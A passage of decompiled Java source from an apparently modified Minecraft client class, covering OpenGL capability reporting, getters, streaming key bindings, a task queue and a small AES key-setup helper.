2841 p_70001_1_.func_152767_b("gl_caps[ARB_fragment_shader]", Boolean.valueOf(var2.GL_ARB_fragment_shader));
2842 p_70001_1_.func_152767_b("gl_caps[ARB_fragment_program_shadow]", Boolean.valueOf(var2.GL_ARB_fragment_program_shadow));
2843 p_70001_1_.func_152767_b("gl_caps[ARB_framebuffer_object]", Boolean.valueOf(var2.GL_ARB_framebuffer_object));
2844 p_70001_1_.func_152767_b("gl_caps[ARB_framebuffer_sRGB]", Boolean.valueOf(var2.GL_ARB_framebuffer_sRGB));
2845 p_70001_1_.func_152767_b("gl_caps[ARB_geometry_shader4]", Boolean.valueOf(var2.GL_ARB_geometry_shader4));
2846 p_70001_1_.func_152767_b("gl_caps[ARB_gpu_shader5]", Boolean.valueOf(var2.GL_ARB_gpu_shader5));
2847 p_70001_1_.func_152767_b("gl_caps[ARB_half_float_pixel]", Boolean.valueOf(var2.GL_ARB_half_float_pixel));
2848 p_70001_1_.func_152767_b("gl_caps[ARB_half_float_vertex]", Boolean.valueOf(var2.GL_ARB_half_float_vertex));
2849 p_70001_1_.func_152767_b("gl_caps[ARB_instanced_arrays]", Boolean.valueOf(var2.GL_ARB_instanced_arrays));
2850 p_70001_1_.func_152767_b("gl_caps[ARB_map_buffer_alignment]", Boolean.valueOf(var2.GL_ARB_map_buffer_alignment));
2851 p_70001_1_.func_152767_b("gl_caps[ARB_map_buffer_range]", Boolean.valueOf(var2.GL_ARB_map_buffer_range));
2852 p_70001_1_.func_152767_b("gl_caps[ARB_multisample]", Boolean.valueOf(var2.GL_ARB_multisample));
2853 p_70001_1_.func_152767_b("gl_caps[ARB_multitexture]", Boolean.valueOf(var2.GL_ARB_multitexture));
2854 p_70001_1_.func_152767_b("gl_caps[ARB_occlusion_query2]", Boolean.valueOf(var2.GL_ARB_occlusion_query2));
2855 p_70001_1_.func_152767_b("gl_caps[ARB_pixel_buffer_object]", Boolean.valueOf(var2.GL_ARB_pixel_buffer_object));
2856 p_70001_1_.func_152767_b("gl_caps[ARB_seamless_cube_map]", Boolean.valueOf(var2.GL_ARB_seamless_cube_map));
2857 p_70001_1_.func_152767_b("gl_caps[ARB_shader_objects]", Boolean.valueOf(var2.GL_ARB_shader_objects));
2858 p_70001_1_.func_152767_b("gl_caps[ARB_shader_stencil_export]", Boolean.valueOf(var2.GL_ARB_shader_stencil_export));
2859 p_70001_1_.func_152767_b("gl_caps[ARB_shader_texture_lod]", Boolean.valueOf(var2.GL_ARB_shader_texture_lod));
2860 p_70001_1_.func_152767_b("gl_caps[ARB_shadow]", Boolean.valueOf(var2.GL_ARB_shadow));
2861 p_70001_1_.func_152767_b("gl_caps[ARB_shadow_ambient]", Boolean.valueOf(var2.GL_ARB_shadow_ambient));
2862 p_70001_1_.func_152767_b("gl_caps[ARB_stencil_texturing]", Boolean.valueOf(var2.GL_ARB_stencil_texturing));
2863 p_70001_1_.func_152767_b("gl_caps[ARB_sync]", Boolean.valueOf(var2.GL_ARB_sync));
2864 p_70001_1_.func_152767_b("gl_caps[ARB_tessellation_shader]", Boolean.valueOf(var2.GL_ARB_tessellation_shader));
2865 p_70001_1_.func_152767_b("gl_caps[ARB_texture_border_clamp]", Boolean.valueOf(var2.GL_ARB_texture_border_clamp));
2866 p_70001_1_.func_152767_b("gl_caps[ARB_texture_buffer_object]", Boolean.valueOf(var2.GL_ARB_texture_buffer_object));
2867 p_70001_1_.func_152767_b("gl_caps[ARB_texture_cube_map]", Boolean.valueOf(var2.GL_ARB_texture_cube_map));
2868 p_70001_1_.func_152767_b("gl_caps[ARB_texture_cube_map_array]", Boolean.valueOf(var2.GL_ARB_texture_cube_map_array));
2869 p_70001_1_.func_152767_b("gl_caps[ARB_texture_non_power_of_two]", Boolean.valueOf(var2.GL_ARB_texture_non_power_of_two));
2870 p_70001_1_.func_152767_b("gl_caps[ARB_uniform_buffer_object]", Boolean.valueOf(var2.GL_ARB_uniform_buffer_object));
2871 p_70001_1_.func_152767_b("gl_caps[ARB_vertex_blend]", Boolean.valueOf(var2.GL_ARB_vertex_blend));
2872 p_70001_1_.func_152767_b("gl_caps[ARB_vertex_buffer_object]", Boolean.valueOf(var2.GL_ARB_vertex_buffer_object));
2873 p_70001_1_.func_152767_b("gl_caps[ARB_vertex_program]", Boolean.valueOf(var2.GL_ARB_vertex_program));
2874 p_70001_1_.func_152767_b("gl_caps[ARB_vertex_shader]", Boolean.valueOf(var2.GL_ARB_vertex_shader));
2875 p_70001_1_.func_152767_b("gl_caps[EXT_bindable_uniform]", Boolean.valueOf(var2.GL_EXT_bindable_uniform));
2876 p_70001_1_.func_152767_b("gl_caps[EXT_blend_equation_separate]", Boolean.valueOf(var2.GL_EXT_blend_equation_separate));
2877 p_70001_1_.func_152767_b("gl_caps[EXT_blend_func_separate]", Boolean.valueOf(var2.GL_EXT_blend_func_separate));
2878 p_70001_1_.func_152767_b("gl_caps[EXT_blend_minmax]", Boolean.valueOf(var2.GL_EXT_blend_minmax));
2879 p_70001_1_.func_152767_b("gl_caps[EXT_blend_subtract]", Boolean.valueOf(var2.GL_EXT_blend_subtract));
2880 p_70001_1_.func_152767_b("gl_caps[EXT_draw_instanced]", Boolean.valueOf(var2.GL_EXT_draw_instanced));
2881 p_70001_1_.func_152767_b("gl_caps[EXT_framebuffer_multisample]", Boolean.valueOf(var2.GL_EXT_framebuffer_multisample));
2882 p_70001_1_.func_152767_b("gl_caps[EXT_framebuffer_object]", Boolean.valueOf(var2.GL_EXT_framebuffer_object));
2883 p_70001_1_.func_152767_b("gl_caps[EXT_framebuffer_sRGB]", Boolean.valueOf(var2.GL_EXT_framebuffer_sRGB));
2884 p_70001_1_.func_152767_b("gl_caps[EXT_geometry_shader4]", Boolean.valueOf(var2.GL_EXT_geometry_shader4));
2885 p_70001_1_.func_152767_b("gl_caps[EXT_gpu_program_parameters]", Boolean.valueOf(var2.GL_EXT_gpu_program_parameters));
2886 p_70001_1_.func_152767_b("gl_caps[EXT_gpu_shader4]", Boolean.valueOf(var2.GL_EXT_gpu_shader4));
2887 p_70001_1_.func_152767_b("gl_caps[EXT_multi_draw_arrays]", Boolean.valueOf(var2.GL_EXT_multi_draw_arrays));
2888 p_70001_1_.func_152767_b("gl_caps[EXT_packed_depth_stencil]", Boolean.valueOf(var2.GL_EXT_packed_depth_stencil));
2889 p_70001_1_.func_152767_b("gl_caps[EXT_paletted_texture]", Boolean.valueOf(var2.GL_EXT_paletted_texture));
2890 p_70001_1_.func_152767_b("gl_caps[EXT_rescale_normal]", Boolean.valueOf(var2.GL_EXT_rescale_normal));
2891 p_70001_1_.func_152767_b("gl_caps[EXT_separate_shader_objects]", Boolean.valueOf(var2.GL_EXT_separate_shader_objects));
2892 p_70001_1_.func_152767_b("gl_caps[EXT_shader_image_load_store]", Boolean.valueOf(var2.GL_EXT_shader_image_load_store));
2893 p_70001_1_.func_152767_b("gl_caps[EXT_shadow_funcs]", Boolean.valueOf(var2.GL_EXT_shadow_funcs));
2894 p_70001_1_.func_152767_b("gl_caps[EXT_shared_texture_palette]", Boolean.valueOf(var2.GL_EXT_shared_texture_palette));
2895 p_70001_1_.func_152767_b("gl_caps[EXT_stencil_clear_tag]", Boolean.valueOf(var2.GL_EXT_stencil_clear_tag));
2896 p_70001_1_.func_152767_b("gl_caps[EXT_stencil_two_side]", Boolean.valueOf(var2.GL_EXT_stencil_two_side));
2897 p_70001_1_.func_152767_b("gl_caps[EXT_stencil_wrap]", Boolean.valueOf(var2.GL_EXT_stencil_wrap));
2898 p_70001_1_.func_152767_b("gl_caps[EXT_texture_3d]", Boolean.valueOf(var2.GL_EXT_texture_3d));
2899 p_70001_1_.func_152767_b("gl_caps[EXT_texture_array]", Boolean.valueOf(var2.GL_EXT_texture_array));
2900 p_70001_1_.func_152767_b("gl_caps[EXT_texture_buffer_object]", Boolean.valueOf(var2.GL_EXT_texture_buffer_object));
2901 p_70001_1_.func_152767_b("gl_caps[EXT_texture_filter_anisotropic]", Boolean.valueOf(var2.GL_EXT_texture_filter_anisotropic));
2902 p_70001_1_.func_152767_b("gl_caps[EXT_texture_integer]", Boolean.valueOf(var2.GL_EXT_texture_integer));
2903 p_70001_1_.func_152767_b("gl_caps[EXT_texture_lod_bias]", Boolean.valueOf(var2.GL_EXT_texture_lod_bias));
2904 p_70001_1_.func_152767_b("gl_caps[EXT_texture_sRGB]", Boolean.valueOf(var2.GL_EXT_texture_sRGB));
2905 p_70001_1_.func_152767_b("gl_caps[EXT_vertex_shader]", Boolean.valueOf(var2.GL_EXT_vertex_shader));
2906 p_70001_1_.func_152767_b("gl_caps[EXT_vertex_weighting]", Boolean.valueOf(var2.GL_EXT_vertex_weighting));
2907 p_70001_1_.func_152767_b("gl_caps[gl_max_vertex_uniforms]", Integer.valueOf(GL11.glGetInteger(GL20.GL_MAX_VERTEX_UNIFORM_COMPONENTS)));
2908 GL11.glGetError();
2909 p_70001_1_.func_152767_b("gl_caps[gl_max_fragment_uniforms]", Integer.valueOf(GL11.glGetInteger(GL20.GL_MAX_FRAGMENT_UNIFORM_COMPONENTS)));
2910 GL11.glGetError();
2911 p_70001_1_.func_152767_b("gl_caps[gl_max_vertex_attribs]", Integer.valueOf(GL11.glGetInteger(GL20.GL_MAX_VERTEX_ATTRIBS)));
2912 GL11.glGetError();
2913 p_70001_1_.func_152767_b("gl_caps[gl_max_vertex_texture_image_units]", Integer.valueOf(GL11.glGetInteger(GL20.GL_MAX_VERTEX_TEXTURE_IMAGE_UNITS)));
2914 GL11.glGetError();
2915 p_70001_1_.func_152767_b("gl_caps[gl_max_texture_image_units]", Integer.valueOf(GL11.glGetInteger(GL20.GL_MAX_TEXTURE_IMAGE_UNITS)));
2916 GL11.glGetError();
2917 p_70001_1_.func_152767_b("gl_caps[gl_max_texture_image_units]", Integer.valueOf(GL11.glGetInteger(35071)));
2918 GL11.glGetError();
2919 p_70001_1_.func_152767_b("gl_max_texture_size", Integer.valueOf(getGLMaximumTextureSize()));
2920 }
2921
2922 /**
2923 * Used in the usage snooper.
2924 */
2925 public static int getGLMaximumTextureSize()
2926 {
2927 for (int var0 = 16384; var0 > 0; var0 >>= 1)
2928 {
2929 GL11.glTexImage2D(GL11.GL_PROXY_TEXTURE_2D, 0, GL11.GL_RGBA, var0, var0, 0, GL11.GL_RGBA, GL11.GL_UNSIGNED_BYTE, (ByteBuffer)null);
2930 int var1 = GL11.glGetTexLevelParameteri(GL11.GL_PROXY_TEXTURE_2D, 0, GL11.GL_TEXTURE_WIDTH);
2931
2932 if (var1 != 0)
2933 {
2934 return var0;
2935 }
2936 }
2937
2938 return -1;
2939 }
2940
2941 /**
2942 * Returns whether snooping is enabled or not.
2943 */
2944 public boolean isSnooperEnabled()
2945 {
2946 return this.gameSettings.snooperEnabled;
2947 }
2948
2949 /**
2950 * Set the current ServerData instance.
2951 */
2952 public void setServerData(ServerData p_71351_1_)
2953 {
2954 this.currentServerData = p_71351_1_;
2955 }
2956
2957 public ServerData func_147104_D()
2958 {
2959 return this.currentServerData;
2960 }
2961
2962 public boolean isIntegratedServerRunning()
2963 {
2964 return this.integratedServerIsRunning;
2965 }
2966
2967 /**
2968 * Returns true if there is only one player playing, and the current server is the integrated one.
2969 */
2970 public boolean isSingleplayer()
2971 {
2972 return this.integratedServerIsRunning && this.theIntegratedServer != null;
2973 }
2974
2975 /**
2976 * Returns the currently running integrated server
2977 */
2978 public IntegratedServer getIntegratedServer()
2979 {
2980 return this.theIntegratedServer;
2981 }
2982
2983 public static void stopIntegratedServer()
2984 {
2985 if (theMinecraft != null)
2986 {
2987 IntegratedServer var0 = theMinecraft.getIntegratedServer();
2988
2989 if (var0 != null)
2990 {
2991 var0.stopServer();
2992 }
2993 }
2994 }
2995
2996 /**
2997 * Returns the PlayerUsageSnooper instance.
2998 */
2999 public PlayerUsageSnooper getPlayerUsageSnooper()
3000 {
3001 return this.usageSnooper;
3002 }
3003
3004 /**
3005 * Gets the system time in milliseconds.
3006 */
3007 public static long getSystemTime()
3008 {
3009 return Sys.getTime() * 1000L / Sys.getTimerResolution();
3010 }
3011
3012 /**
3013 * Returns whether we're in full screen or not.
3014 */
3015 public boolean isFullScreen()
3016 {
3017 return this.fullscreen;
3018 }
3019
3020 public Session getSession()
3021 {
3022 return this.session;
3023 }
3024
3025 public Multimap func_152341_N()
3026 {
3027 return this.field_152356_J;
3028 }
3029
3030 public Proxy getProxy()
3031 {
3032 return this.proxy;
3033 }
3034
3035 public TextureManager getTextureManager()
3036 {
3037 return this.renderEngine;
3038 }
3039
3040 public IResourceManager getResourceManager()
3041 {
3042 return this.mcResourceManager;
3043 }
3044
3045 public ResourcePackRepository getResourcePackRepository()
3046 {
3047 return this.mcResourcePackRepository;
3048 }
3049
3050 public LanguageManager getLanguageManager()
3051 {
3052 return this.mcLanguageManager;
3053 }
3054
3055 public TextureMap getTextureMapBlocks()
3056 {
3057 return this.textureMapBlocks;
3058 }
3059
3060 public boolean isJava64bit()
3061 {
3062 return this.jvm64bit;
3063 }
3064
3065 public boolean func_147113_T()
3066 {
3067 return this.isGamePaused;
3068 }
3069
3070 public SoundHandler getSoundHandler()
3071 {
3072 return this.mcSoundHandler;
3073 }
3074
3075 public MusicTicker.MusicType func_147109_W()
3076 {
3077 return this.currentScreen instanceof GuiWinGame ? MusicTicker.MusicType.CREDITS : (this.thePlayer != null ? (this.thePlayer.worldObj.provider instanceof WorldProviderHell ? MusicTicker.MusicType.NETHER : (this.thePlayer.worldObj.provider instanceof WorldProviderEnd ? (BossStatus.bossName != null && BossStatus.statusBarTime > 0 ? MusicTicker.MusicType.END_BOSS : MusicTicker.MusicType.END) : (this.thePlayer.capabilities.isCreativeMode && this.thePlayer.capabilities.allowFlying ? MusicTicker.MusicType.CREATIVE : MusicTicker.MusicType.GAME))) : MusicTicker.MusicType.MENU);
3078 }
3079
3080 public IStream func_152346_Z()
3081 {
3082 return this.field_152353_at;
3083 }
3084
3085 public void func_152348_aa()
3086 {
3087 int var1 = Keyboard.getEventKey();
3088
3089 if (var1 != 0 && !Keyboard.isRepeatEvent())
3090 {
3091 if (!(this.currentScreen instanceof GuiControls) || ((GuiControls)this.currentScreen).field_152177_g <= getSystemTime() - 20L)
3092 {
3093 if (Keyboard.getEventKeyState())
3094 {
3095 if (var1 == this.gameSettings.field_152396_an.getKeyCode())
3096 {
3097 if (this.func_152346_Z().func_152934_n())
3098 {
3099 this.func_152346_Z().func_152914_u();
3100 }
3101 else if (this.func_152346_Z().func_152924_m())
3102 {
3103 this.displayGuiScreen(new GuiYesNo(new GuiYesNoCallback()
3104 {
3105 private static final String __OBFID = "CL_00001852";
3106 public void confirmClicked(boolean p_73878_1_, int p_73878_2_)
3107 {
3108 if (p_73878_1_)
3109 {
3110 Minecraft.this.func_152346_Z().func_152930_t();
3111 }
3112
3113 Minecraft.this.displayGuiScreen((GuiScreen)null);
3114 }
3115 }, I18n.format("stream.confirm_start", new Object[0]), "", 0));
3116 }
3117 else if (this.func_152346_Z().func_152928_D() && this.func_152346_Z().func_152936_l())
3118 {
3119 if (this.theWorld != null)
3120 {
3121 this.ingameGUI.getChatGUI().func_146227_a(new ChatComponentText("Not ready to start streaming yet!"));
3122 }
3123 }
3124 else
3125 {
3126 GuiStreamUnavailable.func_152321_a(this.currentScreen);
3127 }
3128 }
3129 else if (var1 == this.gameSettings.field_152397_ao.getKeyCode())
3130 {
3131 if (this.func_152346_Z().func_152934_n())
3132 {
3133 if (this.func_152346_Z().func_152919_o())
3134 {
3135 this.func_152346_Z().func_152933_r();
3136 }
3137 else
3138 {
3139 this.func_152346_Z().func_152916_q();
3140 }
3141 }
3142 }
3143 else if (var1 == this.gameSettings.field_152398_ap.getKeyCode())
3144 {
3145 if (this.func_152346_Z().func_152934_n())
3146 {
3147 this.func_152346_Z().func_152931_p();
3148 }
3149 }
3150 else if (var1 == this.gameSettings.field_152399_aq.getKeyCode())
3151 {
3152 this.field_152353_at.func_152910_a(true);
3153 }
3154 else if (var1 == this.gameSettings.field_152395_am.getKeyCode())
3155 {
3156 this.toggleFullscreen();
3157 }
3158 else if (var1 == this.gameSettings.keyBindScreenshot.getKeyCode())
3159 {
3160 ScreenShotHelper.saveScreenshot(this.mcDataDir, this.displayWidth, this.displayHeight, this.mcFramebuffer);
3161 }
3162 }
3163 else if (var1 == this.gameSettings.field_152399_aq.getKeyCode())
3164 {
3165 this.field_152353_at.func_152910_a(false);
3166 }
3167 }
3168 }
3169 }
3170
3171 public ListenableFuture func_152343_a(Callable p_152343_1_)
3172 {
3173 Validate.notNull(p_152343_1_);
3174
3175 if (!this.func_152345_ab())
3176 {
3177 ListenableFutureTask var2 = ListenableFutureTask.create(p_152343_1_);
3178 Queue var3 = this.field_152351_aB;
3179
3180 synchronized (this.field_152351_aB)
3181 {
3182 this.field_152351_aB.add(var2);
3183 return var2;
3184 }
3185 }
3186 else
3187 {
3188 try
3189 {
3190 return Futures.immediateFuture(p_152343_1_.call());
3191 }
3192 catch (Exception var6)
3193 {
3194 return Futures.immediateFailedCheckedFuture(var6);
3195 }
3196 }
3197 }
3198
3199 public ListenableFuture func_152344_a(Runnable p_152344_1_)
3200 {
3201 Validate.notNull(p_152344_1_);
3202 return this.func_152343_a(Executors.callable(p_152344_1_));
3203 }
3204
3205 public boolean func_152345_ab()
3206 {
3207 return Thread.currentThread() == this.field_152352_aC;
3208 }
3209
3210 public MinecraftSessionService func_152347_ac()
3211 {
3212 return this.field_152355_az;
3213 }
3214
3215 public SkinManager func_152342_ad()
3216 {
3217 return this.field_152350_aA;
3218 }
3219
3220 public static String getName() {
3221 return "Dawn";
3222 }
3223
3224
3225
3226 public static void setKey(String myKey)
3227 {
3228 MessageDigest sha = null;
3229 try {
3230 key = myKey.getBytes("UTF-8");
3231 sha = MessageDigest.getInstance("SHA-1");
3232 key = sha.digest(key);
3233 key = Arrays.copyOf(key, 16);
3234 secretKey = new SecretKeySpec(key, "AES");
3235 }
3236 catch (NoSuchAlgorithmException e) {
3237 e.printStackTrace();
3238 }
3239 catch (UnsupportedEncodingException e) {
3240 e.printStackTrace();
3241 }
3242 }
3243
3244 static final class SwitchMovingObjectType
3245 {
3246 static final int[] field_152390_a = new int[MovingObjectPosition.MovingObjectType.values().length];
3247 private static final String __OBFID = "CL_00000638";
3248
3249 static
3250 {
3251 try
3252 {
3253 field_152390_a[MovingObjectPosition.MovingObjectType.ENTITY.ordinal()] = 1;
3254 }
3255 catch (NoSuchFieldError var2)
3256 {
3257 ;
3258 }
3259
3260 try
3261 {
3262 field_152390_a[MovingObjectPosition.MovingObjectType.BLOCK.ordinal()] = 2;
3263 }
3264 catch (NoSuchFieldError var1)
3265 {
3266 ;
3267 }
3268 }
3269 }
3270}